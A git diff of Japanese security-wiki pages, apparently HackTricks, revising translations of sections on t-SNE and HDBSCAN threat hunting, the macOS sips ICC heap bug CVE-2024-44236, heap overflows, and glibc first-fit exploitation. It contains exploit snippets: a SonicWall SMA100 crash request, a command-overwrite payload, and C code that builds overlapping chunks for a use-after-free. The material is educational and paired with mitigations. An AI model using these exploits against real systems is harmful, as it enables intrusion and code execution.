> *サイバーセキュリティにおけるユースケース:* t-SNEはしばしば**人間の分析のために高次元のセキュリティデータを視覚化する**ために使用されます。例えば、セキュリティオペレーションセンターでは、アナリストがポート番号、頻度、バイト数などの数十の特徴を持つイベントデータセットを取り、t-SNEを使用して2Dプロットを生成することができます。このプロットでは、攻撃が独自のクラスターを形成したり、通常のデータから分離したりすることがあり、識別が容易になります。マルウェアデータセットに適用され、マルウェアファミリーのグルーピングや、異なる攻撃タイプが明確にクラスター化されるネットワーク侵入データにおいて、さらなる調査を導くことができます。基本的に、t-SNEはサイバーデータの構造を視覚化する方法を提供します。
|
||||
> *サイバーセキュリティにおけるユースケース:* t-SNEはしばしば**人間の分析のために高次元のセキュリティデータを視覚化する**ために使用されます。例えば、セキュリティオペレーションセンターでは、アナリストがポート番号、頻度、バイト数などの数十の特徴を持つイベントデータセットを取り、t-SNEを使用して2Dプロットを生成することができます。このプロットでは、攻撃が独自のクラスターを形成したり、通常のデータから分離したりすることがあり、識別が容易になります。マルウェアファミリーのグルーピングや、異なる攻撃タイプが明確にクラスター化されるネットワーク侵入データに適用され、さらなる調査を導くことができます。基本的に、t-SNEはサイバーデータの構造を視覚化する方法を提供します。
|
||||
|
||||
#### 仮定と制限
|
||||
|
||||
t-SNEはパターンの視覚的発見に優れています。クラスター、サブクラスター、他の線形手法(PCAなど)では見逃されるかもしれない外れ値を明らかにすることができます。マルウェアの行動プロファイルやネットワークトラフィックパターンなどの複雑なデータを視覚化するためにサイバーセキュリティ研究で使用されてきました。局所的な構造を保持するため、自然なグルーピングを示すのに適しています。
|
||||
t-SNEはパターンの視覚的発見に優れています。クラスター、サブクラスター、他の線形手法(PCAなど)では見逃されるかもしれない外れ値を明らかにすることができます。マルウェアの行動プロファイルやネットワークトラフィックパターンのような複雑なデータを視覚化するためにサイバーセキュリティ研究で使用されてきました。局所的な構造を保持するため、自然なグルーピングを示すのに適しています。
|
||||
|
||||
しかし、t-SNEは計算負荷が重く(約$O(n^2)$)、非常に大きなデータセットではサンプリングが必要になる場合があります。また、出力に影響を与えるハイパーパラメータ(パープレキシティ、学習率、反復回数)があります – 例えば、異なるパープレキシティ値は異なるスケールでクラスターを明らかにするかもしれません。t-SNEプロットは時折誤解されることがあります – マップ内の距離はグローバルに直接的な意味を持たず(局所的な近隣に焦点を当てており、時にはクラスターが人工的に分離されて見えることがあります)。また、t-SNEは主に視覚化のためのものであり、新しいデータポイントを再計算なしに投影するための簡単な方法を提供せず、予測モデリングの前処理として使用することは意図されていません(UMAPはこれらの問題のいくつかをより速い速度で解決する代替手段です)。
|
||||
|
||||
@ -349,7 +350,7 @@ t-SNEはパターンの視覚的発見に優れています。クラスター、
|
||||
<summary>例 -- ネットワーク接続の視覚化
|
||||
</summary>
|
||||
|
||||
t-SNEを使用してマルチフィーチャーデータセットを2Dに削減します。例として、以前の4Dデータ(通常のトラフィックの3つの自然なクラスターがあったもの)を取り、いくつかの異常ポイントを追加します。その後、t-SNEを実行し(概念的に)結果を視覚化します。
|
||||
t-SNEを使用してマルチフィーチャーデータセットを2Dに削減します。例として、以前の4Dデータ(通常のトラフィックの3つの自然なクラスターがあったもの)にいくつかの異常ポイントを追加します。その後、t-SNEを実行し(概念的に)結果を視覚化します。
|
||||
```python
|
||||
# 1 ─────────────────────────────────────────────────────────────────────
|
||||
# Create synthetic 4-D dataset
|
||||
@ -432,11 +433,11 @@ plt.legend()
|
||||
plt.tight_layout()
|
||||
plt.show()
|
||||
```
|
||||
ここでは、以前の4Dノーマルデータセットに少数の極端な外れ値を組み合わせました(外れ値は1つの特徴(「duration」)が非常に高く設定されており、奇妙なパターンをシミュレートしています)。典型的なパープレキシティ30でt-SNEを実行します。出力データdata_2dの形状は(1505, 2)です。このテキストでは実際にプロットはしませんが、もし行った場合、3つのノーマルクラスタに対応する3つの密集したクラスタと、これらのクラスタから遠く離れた孤立した点として現れる5つの外れ値が見られると予想されます。インタラクティブなワークフローでは、ラベル(ノーマルまたはどのクラスタか、対異常)によってポイントに色を付けてこの構造を確認できます。ラベルがなくても、アナリストは2Dプロット上の空のスペースに座っている5つのポイントに気づき、それらをフラグ付けするかもしれません。これは、t-SNEがサイバーセキュリティデータにおける視覚的異常検出とクラスタ検査に強力な助けとなり、上記の自動化アルゴリズムを補完することを示しています。
|
||||
ここでは、以前の4Dノーマルデータセットに少数の極端な外れ値を組み合わせました(外れ値は1つの特徴(「duration」)が非常に高く設定されており、奇妙なパターンをシミュレートしています)。典型的なパープレキシティ30でt-SNEを実行します。出力データdata_2dの形状は(1505, 2)です。このテキストでは実際にプロットはしませんが、もし行った場合、3つのノーマルクラスタに対応する3つの密集したクラスタと、これらのクラスタから遠く離れた孤立した点として現れる5つの外れ値が見られると予想されます。インタラクティブなワークフローでは、ポイントをそのラベル(ノーマルまたはどのクラスタ、対異常)で色分けしてこの構造を確認できます。ラベルがなくても、アナリストは2Dプロット上の空のスペースに座っている5つのポイントに気づき、それらをフラグ付けするかもしれません。これは、t-SNEがサイバーセキュリティデータにおける視覚的異常検出とクラスタ検査の強力な支援となり、上記の自動化アルゴリズムを補完する方法を示しています。
|
||||
|
||||
</details>
|
||||
|
||||
### HDBSCAN (ノイズを伴うアプリケーションの階層的密度ベース空間クラスタリング)
|
||||
### HDBSCAN(ノイズを伴うアプリケーションの階層的密度ベース空間クラスタリング)
|
||||
|
||||
**HDBSCAN**は、単一のグローバル`eps`値を選択する必要を排除し、密度接続コンポーネントの階層を構築してからそれを凝縮することによって、**異なる密度**のクラスタを回復できるDBSCANの拡張です。バニラDBSCANと比較して、通常は
|
||||
|
||||
@ -445,7 +446,7 @@ plt.show()
|
||||
* 各ポイントにクラスタメンバーシップの*確率*と**外れ値スコア**(`outlier_scores_`)を与え、脅威ハンティングダッシュボードに非常に便利です。
|
||||
|
||||
> [!TIP]
|
||||
> *サイバーセキュリティにおけるユースケース:* HDBSCANは現代の脅威ハンティングパイプラインで非常に人気があり、商業的なXDRスイートに付属するノートブックベースのハンティングプレイブックの中でよく見られます。実用的なレシピの1つは、IR中にHTTPビーニングトラフィックをクラスタリングすることです:ユーザーエージェント、間隔、URIの長さは、正当なソフトウェアアップデーターのいくつかの密集したグループを形成することが多い一方で、C2ビーニングは小さな低密度クラスタまたは純粋なノイズとして残ります。
|
||||
> *サイバーセキュリティにおけるユースケース:* HDBSCANは現代の脅威ハンティングパイプラインで非常に人気があり、商業XDRスイートに付属するノートブックベースのハンティングプレイブックの中でよく見られます。実用的なレシピの1つは、IR中にHTTPビーニングトラフィックをクラスタリングすることです:ユーザーエージェント、間隔、URIの長さは、正当なソフトウェアアップデーターのいくつかの密集したグループを形成することが多い一方で、C2ビーニングは小さな低密度クラスタまたは純粋なノイズとして残ります。
|
||||
|
||||
<details>
|
||||
<summary>例 – ビーニングC2チャネルの発見</summary>
|
||||
@ -478,15 +479,15 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
### ロバスト性とセキュリティの考慮事項 – 毒物散布と敵対的攻撃 (2023-2025)
|
||||
|
||||
最近の研究は、**教師なし学習者が*アクティブな攻撃者*に対して免疫ではない**ことを示しています:
|
||||
最近の研究により、**教師なし学習者は*アクティブな攻撃者*に対して免疫ではない**ことが示されています:
|
||||
|
||||
* **異常検出器に対するデータ毒物散布。** Chen *et al.* (IEEE S&P 2024) は、わずか3%の加工されたトラフィックを追加することで、Isolation ForestとECODの決定境界をシフトさせ、実際の攻撃が正常に見えるようにすることを示しました。著者は、毒点を自動的に合成するオープンソースのPoC(`udo-poison`)を公開しました。
|
||||
* **異常検出器に対するデータ毒物散布。** Chen *et al.* (IEEE S&P 2024) は、わずか3%の加工されたトラフィックを追加することで、Isolation ForestとECODの決定境界がシフトし、実際の攻撃が正常に見えるようになることを示しました。著者たちは、毒点を自動的に合成するオープンソースのPoC(`udo-poison`)を公開しました。
|
||||
* **クラスタリングモデルへのバックドア。** *BadCME*技術(BlackHat EU 2023)は、小さなトリガーパターンを埋め込みます。そのトリガーが現れると、K-Meansベースの検出器は静かにイベントを「良性」クラスタに配置します。
|
||||
* **DBSCAN/HDBSCANの回避。** KU Leuvenの2025年の学術プレプリントは、攻撃者が意図的に密度のギャップに落ち込むビーコニングパターンを作成できることを示し、*ノイズ*ラベルの中に効果的に隠れることができます。
|
||||
|
||||
注目を集めている緩和策:
|
||||
|
||||
1. **モデルのサニタイズ / TRIM。** すべての再訓練エポックの前に、1–2%の最高損失ポイント(トリムされた最大尤度)を破棄し、毒物散布を劇的に困難にします。
|
||||
1. **モデルのサニタイズ / TRIM。** すべての再トレーニングエポックの前に、1–2%の最高損失ポイント(トリムされた最大尤度)を破棄し、毒物散布を劇的に困難にします。
|
||||
2. **コンセンサスアンサンブル。** 複数の異種検出器(例:Isolation Forest + GMM + ECOD)を組み合わせ、*いずれか*のモデルがポイントをフラグ付けした場合に警告を発します。研究によると、これにより攻撃者のコストが10倍以上増加します。
|
||||
3. **クラスタリングのための距離ベースの防御。** `k` 異なるランダムシードでクラスタを再計算し、常にクラスタを移動するポイントを無視します。
|
||||
|
||||
@ -524,7 +525,7 @@ evaluate_print("Ensemble", y_test, anomaly_scores)
|
||||
## 参考文献
|
||||
|
||||
- [HDBSCAN – 階層的密度ベースのクラスタリング](https://github.com/scikit-learn-contrib/hdbscan)
|
||||
- Chen, X. *et al.* “データポイズニングに対する教師なし異常検出の脆弱性について。” *IEEEセキュリティおよびプライバシーシンポジウム*, 2024.
|
||||
- Chen, X. *et al.* “無監督異常検出のデータポイズニングに対する脆弱性について。” *IEEEセキュリティとプライバシーシンポジウム*, 2024.
|
||||
|
||||
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 概要
|
||||
|
||||
Apple macOS **Scriptable Image Processing System** (`sips`) ICCプロファイルパーサーにおける境界外の**ゼロ書き込み**脆弱性(macOS 15.0.1, `sips-307`)により、攻撃者はヒープメタデータを破損させ、プリミティブを完全なコード実行にピボットさせることができます。このバグは、`lutAToBType` (`mAB `) および `lutBToAType` (`mBA `) タグの `offsetToCLUT` フィールドの処理にあります。攻撃者が `offsetToCLUT == tagDataSize` を設定すると、パーサーは**ヒープバッファの末尾から16バイトを消去**します。ヒープスプレーにより、攻撃者はアロケータ構造体や後でデリファレンスされるC++ポインタをゼロにすることができ、**任意の書き込みから実行への**チェーン(CVE-2024-44236, CVSS 7.8)を生じさせます。
|
||||
Apple macOS **Scriptable Image Processing System** (`sips`) ICCプロファイルパーサーにおける境界外の**ゼロ書き込み**脆弱性(macOS 15.0.1, `sips-307`)により、攻撃者はヒープメタデータを破損させ、プリミティブを完全なコード実行にピボットさせることができます。このバグは、`lutAToBType` (`mAB `) および `lutBToAType` (`mBA `) タグの `offsetToCLUT` フィールドの処理にあります。攻撃者が `offsetToCLUT == tagDataSize` を設定すると、パーサーは**ヒープバッファの末尾から16バイトを消去**します。ヒープスプレーにより、攻撃者はアロケータ構造体や後でデリファレンスされるC++ポインタをゼロにすることができ、**任意の書き込みから実行への**チェーンを生じさせます(CVE-2024-44236, CVSS 7.8)。
|
||||
|
||||
> Appleは、macOS Sonoma 15.2 / Ventura 14.7.1(2024年10月30日)でこのバグを修正しました。第二のバリアント(CVE-2025-24185)は、2025年4月1日にmacOS 15.5およびiOS/iPadOS 18.5で修正されました。
|
||||
|
||||
@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **ヒープメタデータの破損 ➜ 任意の書き込み ➜ ROP**
|
||||
Apple のデフォルトの **`nano_zone` アロケータ**では、16 バイトスロットのメタデータは **整列された 0x1000 スラブの直後に存在します**。そのようなスラブの末尾にプロファイルのタグを配置することで、16 のゼロ書き込みが `meta->slot_B` を上書きします。次の `free` の後、汚染されたポインタが小さなフリーリストにキューイングされ、攻撃者は **任意のアドレスに偽のオブジェクトを割り当て**、sips によって使用される C++ vtable ポインタを上書きし、最終的に悪意のある ICC バッファに保存された ROP チェーンに実行をピボットします。
|
||||
Apple のデフォルトの **`nano_zone` アロケータ**では、16 バイトスロットのメタデータは **整列された 0x1000 スラブの直後に存在します**。プロファイルのタグをそのようなスラブの末尾に配置することで、16 のゼロ書き込みが `meta->slot_B` を上書きします。その後の `free` により、汚染されたポインタが小さなフリーリストにキューイングされ、攻撃者は **任意のアドレスに偽のオブジェクトを割り当て**、sips によって使用される C++ vtable ポインタを上書きし、最終的に悪意のある ICC バッファに保存された ROP チェーンに実行をピボットします。
|
||||
|
||||
### クイック PoC ジェネレーター (Python 3)
|
||||
```python
|
||||
@ -82,10 +82,10 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
|
||||
## 検出と緩和
|
||||
|
||||
* **パッチを適用!** ホストがmacOS ≥ 15.2 / 14.7.1(またはiOS/iPadOS ≥ 18.1)を実行していることを確認してください。
|
||||
* 上記のYARAルールをメールゲートウェイおよびEDRソリューションに展開します。
|
||||
* 上記のYARAルールをメールゲートウェイとEDRソリューションに展開します。
|
||||
* 信頼できないファイルのさらなる処理の前に、`exiftool -icc_profile= -overwrite_original <file>`を使用して埋め込まれたICCプロファイルを削除またはサニタイズします。
|
||||
* 不明なコンテンツを分析する際には、サンドボックス化された「透明性と近代化」VM内でPreview/QuickLookを実行して強化します。
|
||||
* DFIRの場合、統合ログ内でサンドボックス化されたアプリによる`sips --verifyColor`の最近の実行や`ColorSync`ライブラリの読み込みを探します。
|
||||
* DFIRの場合、統合ログでサンドボックス化されたアプリによる`sips --verifyColor`の最近の実行や`ColorSync`ライブラリの読み込みを探します。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/index.html)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを格納するためのスペースが予約されており、**格納されたデータが予約されたスペースよりも大きいことを意味します。**
|
||||
|
||||
スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**が、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれを悪用する方法に**依存**します。
|
||||
スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトではヒープチャンクに機密情報が格納されていません**が、機密情報やポインタが含まれる可能性があるため、**この脆弱性の重大性は**、**上書きされる可能性のあるデータ**と、攻撃者がこれをどのように悪用できるかに**依存します**。
|
||||
|
||||
> [!TIP]
|
||||
> オーバーフローオフセットを見つけるためには、[**スタックオーバーフロー**](../stack-overflow/index.html#finding-stack-overflows-offsets)と同じパターンを使用できます。
|
||||
@ -15,11 +15,11 @@
|
||||
|
||||
スタックオーバーフローでは、脆弱性がトリガーされる瞬間にスタックに存在するデータの配置がかなり信頼できます。これは、スタックが線形であり、常に衝突するメモリ内で増加し、**プログラムの実行中の特定の場所でスタックメモリは通常同様の種類のデータを格納し**、各関数によって使用されるスタック部分の末尾にいくつかのポインタがあるためです。
|
||||
|
||||
しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常メモリの別々の位置にあります**(隣接していない)し、**サイズによって割り当てを分けるためのビンやゾーン**があるため、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されます**。したがって、ヒープオーバーフローに対して脆弱なオブジェクトと衝突するオブジェクトを知るのは**複雑です**。そのため、ヒープオーバーフローが見つかった場合、**オーバーフローされるオブジェクトの隣に目的のオブジェクトを配置する信頼できる方法を見つける必要があります**。
|
||||
しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常メモリの別々の位置にあります**(隣接していない)し、**サイズによって割り当てを分けるためのビンやゾーン**があるため、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されます**。したがって、ヒープオーバーフローに対して脆弱なオブジェクトと衝突するオブジェクトを知るのは**複雑です**。そのため、ヒープオーバーフローが見つかった場合、**オーバーフローされるオブジェクトの隣に目的のオブジェクトを配置するための信頼できる方法を見つける必要があります**。
|
||||
|
||||
このために使用される技術の一つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリチャンクを格納するためのメモリを使い果たすと、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用されることが説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。
|
||||
このために使用される技術の一つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリを使い果たすと、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用されることが説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。
|
||||
|
||||
したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローされたオブジェクトが被害者のオブジェクトと衝突するように強制するために、**複数のスレッドによって複数の`kalloc`が強制され、すべての空きチャンクが埋められ、新しいページが作成されることを試みます**。
|
||||
したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローされたオブジェクトが被害者のオブジェクトと衝突するようにするために、**複数のスレッドによって複数の`kalloc`が強制され、すべての空きチャンクが埋められ、新しいページが作成されることを試みます**。
|
||||
|
||||
特定のサイズのオブジェクトでこの埋め込みを強制するために、**iOSマッチポートに関連するアウトオブライン割り当て**が理想的な候補です。メッセージのサイズを調整することで、`kalloc`割り当てのサイズを正確に指定でき、対応するマッチポートが破棄されると、対応する割り当ては即座に`kfree`に戻されます。
|
||||
|
||||
@ -35,7 +35,7 @@
|
||||
|
||||
### 例 ARM64
|
||||
|
||||
ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに格納されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単なエクスプロイトで上書きすることで、実行されるコマンドを変更することが可能です:
|
||||
ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに格納されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単なエクスプロイトで上書きすることで、実行されるコマンドを変更することが可能です。
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
@ -43,11 +43,11 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- 整数オーバーフローの脆弱性を利用してヒープオーバーフローを引き起こします。
|
||||
- オーバーフローしたチャンクの `struct` 内の関数へのポインタを破損させ、`system` などの関数を設定してコード実行を得ます。
|
||||
- オーバーフローしたチャンクの`struct`内の関数へのポインタを破損させ、`system`のような関数を設定してコード実行を得ます。
|
||||
|
||||
### 実世界の例: CVE-2025-40597 – `__sprintf_chk` の誤用
|
||||
### 実世界の例: CVE-2025-40597 – `__sprintf_chk`の誤用
|
||||
|
||||
SonicWall SMA100 ファームウェア 10.2.1.15 では、リバースプロキシモジュール `mod_httprp.so` が **0x80バイト** のヒープチャンクを割り当て、その後 `__sprintf_chk` を使用していくつかの文字列を連結します。
|
||||
SonicWall SMA100ファームウェア10.2.1.15では、リバースプロキシモジュール`mod_httprp.so`が**0x80バイト**のヒープチャンクを割り当て、その後`__sprintf_chk`を使用していくつかの文字列を連結します。
|
||||
```c
|
||||
char *buf = calloc(0x80, 1);
|
||||
/* … */
|
||||
@ -59,7 +59,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
```
|
||||
`__sprintf_chk` は **_FORTIFY_SOURCE** の一部です。正の `size` パラメータを受け取ると、結果の文字列が宛先バッファに収まるかどうかを検証します。**`-1` (0xFFFFFFFFFFFFFFFF)** を渡すことで、開発者は実質的に **境界チェックを無効化** し、強化された呼び出しを古典的で安全でない `sprintf` に戻しました。
|
||||
|
||||
したがって、過度に長い **`Host:`** ヘッダーを提供することで、攻撃者は **0x80バイトのチャンクをオーバーフローさせ、次のヒープチャンクのメタデータを上書きする** ことができます(アロケータに応じて tcache / fast-bin / small-bin)。クラッシュは次のように再現できます:
|
||||
したがって、過度に長い **`Host:`** ヘッダーを提供することで、攻撃者は **0x80バイトのチャンクをオーバーフローさせ、次のヒープチャンクのメタデータを上書きする** ことができます(アロケータに応じて tcache / fast-bin / small-bin)。クラッシュは次のコマンドで再現できます:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
@ -69,12 +69,12 @@ headers={'Host': 'A'*750},
|
||||
verify=False
|
||||
)
|
||||
```
|
||||
実用的な悪用には、**heap grooming**が必要で、制御可能なオブジェクトを脆弱なチャンクのすぐ後に配置する必要がありますが、根本的な原因は2つの重要なポイントを強調しています:
|
||||
実際のエクスプロイトには、制御可能なオブジェクトを脆弱なチャンクのすぐ後ろに配置するための**ヒープグルーミング**が必要ですが、根本的な原因は2つの重要なポイントを強調しています:
|
||||
|
||||
1. **_FORTIFY_SOURCEは万能ではない** – 誤用は保護を無効にする可能性があります。
|
||||
2. 常に**正しいバッファサイズ**を`_chk`ファミリーに渡すこと(または、さらに良いことに、`snprintf`を使用すること)。
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,18 +4,18 @@
|
||||
|
||||
## **First Fit**
|
||||
|
||||
プログラムでglibcを使用してメモリを解放すると、異なる「ビン」がメモリチャンクを管理するために使用されます。ここでは、一般的な2つのシナリオ:未ソートビンとファストビンの簡略化された説明を示します。
|
||||
glibcを使用してプログラム内のメモリを解放すると、異なる「ビン」がメモリチャンクを管理するために使用されます。ここでは、一般的な2つのシナリオ:未ソートビンとファストビンについての簡略化された説明を示します。
|
||||
|
||||
### Unsorted Bins
|
||||
|
||||
ファストチャンクでないメモリチャンクを解放すると、それは未ソートビンに入ります。このビンは、新しく解放されたチャンクが前面(「ヘッド」)に追加されるリストのように機能します。新しいメモリチャンクを要求すると、アロケータは未ソートビンの後ろ(「テイル」)から見て、十分な大きさのチャンクを探します。未ソートビンのチャンクが必要なサイズより大きい場合、それは分割され、前の部分が返され、残りの部分はビンに留まります。
|
||||
ファストチャンクでないメモリチャンクを解放すると、それは未ソートビンに入ります。このビンは、新しく解放されたチャンクが前方(「ヘッド」)に追加されるリストのように機能します。新しいメモリチャンクを要求すると、アロケータは未ソートビンの後方(「テイル」)を見て、十分な大きさのチャンクを探します。未ソートビンのチャンクが必要なサイズより大きい場合、それは分割され、前の部分が返され、残りの部分はビンに留まります。
|
||||
|
||||
例:
|
||||
|
||||
- 300バイト(`a`)を割り当て、その後250バイト(`b`)を割り当て、`a`を解放して再度250バイト(`c`)を要求します。
|
||||
- `a`を解放すると、それは未ソートビンに入ります。
|
||||
- その後再度250バイトを要求すると、アロケータはテイルにある`a`を見つけて分割し、リクエストに合う部分を返し、残りはビンに保持します。
|
||||
- `c`は以前の`a`を指し、`a`の内容で埋められます。
|
||||
- その後再度250バイトを要求すると、アロケータはテイルにある`a`を見つけて分割し、リクエストに合う部分を返し、残りをビンに保持します。
|
||||
- `c`は以前の`a`を指し、`a`の内容で満たされます。
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
char *b = malloc(250);
|
||||
@ -44,10 +44,10 @@ d = malloc(20); // a
|
||||
---
|
||||
### 🔥 現代のglibcに関する考慮事項 (tcache ≥ 2.26)
|
||||
|
||||
glibc 2.26以降、各スレッドは自分自身の**tcache**を保持し、これは未ソートビンの*前に*照会されます。したがって、ファーストフィットのシナリオは**次の場合にのみ**到達されます:
|
||||
glibc 2.26以降、各スレッドは自分自身の**tcache**を保持し、これは未整理ビンの*前に*照会されます。したがって、ファーストフィットのシナリオは**次の条件を満たす場合にのみ**到達されます:
|
||||
|
||||
1. リクエストされたサイズが**`tcache_max`**(デフォルトで64ビットでは0x420)より**大きい**、*または*
|
||||
2. 対応するtcacheビンが**すでに満杯であるか、手動で空にされている**(7つの要素を割り当てて使用中に保持することによって)。
|
||||
1. リクエストされたサイズが**`tcache_max`より大きい**(デフォルトで64ビットの0x420)、*または*
|
||||
2. 対応するtcacheビンが**すでに満杯または手動で空にされている**(7つの要素を割り当てて使用中に保持することによって)。
|
||||
|
||||
実際のエクスプロイトでは、通常、次のようなヘルパールーチンを追加します:
|
||||
```c
|
||||
@ -55,12 +55,12 @@ glibc 2.26以降、各スレッドは自分自身の**tcache**を保持し、こ
|
||||
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
|
||||
for(int i = 0; i < 7; i++) free(pool[i]);
|
||||
```
|
||||
tcacheが枯渇すると、その後の解放は未整列ビンに移動し、古典的なファーストフィットの動作(テイルサーチ、ヘッド挿入)が再びトリガーされる可能性があります。
|
||||
tcacheが枯渇すると、その後のfreeは未整列ビンに移動し、従来のファーストフィットの動作(テイルサーチ、ヘッド挿入)が再びトリガーされる可能性があります。
|
||||
|
||||
---
|
||||
### 🚩 ファーストフィットを使用したオーバーラップチャンクUAFの作成
|
||||
|
||||
以下のフラグメント(glibc 2.38でテスト済み)は、未整列ビンのスプリッタを悪用して2つの**オーバーラッピングポインタ**を作成する方法を示しています。これは、単一の解放を解放後書き込みに変換する強力なプリミティブです。
|
||||
以下のフラグメント(glibc 2.38でテスト済み)は、未整列ビンのスプリッタを悪用して2つの**オーバーラッピングポインタ**を作成する方法を示しています。これは、単一のfreeをwrite-after-freeに変換する強力なプリミティブです。
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -93,10 +93,10 @@ fwrite(C2, 1, 0x10, stdout); // prints Xs
|
||||
Exploitation recipe (common in recent CTFs):
|
||||
|
||||
1. **ターゲットサイズのtcacheを排出**します。
|
||||
2. **チャンクを解放**して、未ソートのビンに配置します。
|
||||
3. **わずかに小さいサイズを割り当て**ます – アロケータが未ソートのチャンクを分割します。
|
||||
2. **チャンクを解放**して、未ソートビンに配置します。
|
||||
3. **わずかに小さいサイズを割り当て**ます – アロケータが未ソートチャンクを分割します。
|
||||
4. **再度割り当て**ます – 残りの部分が既存の使用中のチャンクと重なります → UAF。
|
||||
5. 機密フィールド(関数ポインタ、FILE vtableなど)を上書きします。
|
||||
5. 敏感なフィールド(関数ポインタ、FILE vtableなど)を上書きします。
|
||||
|
||||
実用的なアプリケーションは、2024 HITCON Quals *Setjmp* チャレンジに見られ、この正確なプリミティブがUAFから`__free_hook`の完全制御にピボットするために使用されます。{{#ref}}
|
||||
../../../../references/2024_setjmp_firstfit.md
|
||||
@ -107,20 +107,20 @@ Exploitation recipe (common in recent CTFs):
|
||||
|
||||
* **セーフリンク(glibc ≥ 2.32)**は、単一リンクの*tcache*/**fastbin**リストのみを保護します。未ソート/小/大ビンは依然として生のポインタを格納しているため、ヒープリークを取得できればファーストフィットに基づく重なりが有効です。
|
||||
* **ヒープポインタの暗号化とMTE**(ARM64)は、まだx86-64 glibcには影響しませんが、`GLIBC_TUNABLES=glibc.malloc.check=3`のようなディストリビューションの強化フラグは、一貫性のないメタデータで中止し、単純なPoCを壊す可能性があります。
|
||||
* **解放時のtcacheの充填**(2024年にglibc 2.41のために提案)は、未ソートの使用をさらに減少させるでしょう。一般的なエクスプロイトを開発する際は、今後のリリースを監視してください。
|
||||
* **解放時のtcacheの充填**(2024年にglibc 2.41のために提案)は、未ソートの使用をさらに減少させるでしょう。一般的なエクスプロイトを開発する際には、今後のリリースを監視してください。
|
||||
|
||||
---
|
||||
## その他の参考文献と例
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Use after free: ユーザーオブジェクトを生成し、それを解放し、解放されたチャンクを取得するオブジェクトを生成して書き込むことを許可し、**前のものからuser->passwordの位置を上書き**します。ユーザーを再利用して**パスワードチェックをバイパス**します。
|
||||
- ARM64. Use after free: ユーザーオブジェクトを生成し、それを解放し、解放されたチャンクを取得するオブジェクトを生成し、それに書き込むことを許可します。**前のものからuser->passwordの位置を上書きします**。ユーザーを再利用して**パスワードチェックをバイパスします**。
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- プログラムはノートを作成することを許可します。ノートには、malloc(8)内のノート情報(呼び出すことができる関数へのポインタを含む)と、ノートの内容を持つ別のmalloc(<size>)へのポインタがあります。
|
||||
- 攻撃は、ノート情報サイズよりも大きいmalloc内容を持つ2つのノート(note0とnote1)を作成し、それらを解放してファーストビン(またはtcache)に入れることです。
|
||||
